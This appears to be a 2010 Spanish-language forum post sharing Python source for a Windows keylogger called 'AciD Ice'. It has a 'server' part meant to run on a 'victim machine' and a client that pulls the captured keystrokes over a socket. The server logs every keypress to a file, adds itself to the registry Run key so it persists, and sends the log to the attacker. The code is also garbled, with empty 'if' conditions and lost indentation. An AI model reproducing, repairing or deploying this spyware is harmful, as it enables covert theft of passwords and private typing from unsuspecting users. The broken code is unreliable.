Vie Sep 10, 2010 5:11 pm
Server:
- Código:
"""
Server Version
*KeyLogger.pyw
*Log all key strokes from victim machine
Features:
-Text File Transfer
-Version 1.2
"""
import os
import string
import sys
import win32api
import socket
from _winreg import *
def body():
try:
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.bind((socket.gethostname(), 902))
socket1.listen(5)
conn, addr = socket1.accept()
except socket.error:
print "error with sockets"
else:
try:
keylog_file = open("C:\\keylog_file.txt","w")
except IOError:
print "Error grabbing file"
else:
while 1:
keyAscii = 0
for i in range(32, 256):
key_log = win32api.GetAsyncKeyState(i)
if key_log == -32767:
print i
key_end = 81
keylog_file.write(chr(i))
if i == key_end:
keylog_file.close()
keyin = open("C:\\keylog_file.txt","r")
data = keyin.read()
conn.send(data)
def regwrite():
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
SetValueEx(aKey,"AciD Ice",0, REG_SZ, r"C:\your_project_name_here.pyw")
CloseKey(aKey)
CloseKey(aReg)
if == '':
class mainexecution:
regwrite()
body()
- Código:
"""
Client Version
*Client.py
*Log all key strokes from victim machine
Features:
-Text File Transfer
-Help
-About
-Version 1.2
"""
import socket
import os
def body():
print "AciD Ice Client V-1.1"
victim_IP = raw_input ("please input an IP to connect to ")
host = victim_IP
port = 902
addr = (victim_IP, 902)
try:
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.connect(addr)
except socket.error:
print "failure to connect"
else:
print "connection Made to remote host =]"
try:
file = open("C:\\key_log_file2.txt","w")
except IOError:
print "error in file"
else:
logging()
data = socket1.recv(1024)
print data
file.write(data)
file.close()
def logging():
print "Logging keys..."
print "------------------------------"
if == '':
class mainprog:
body()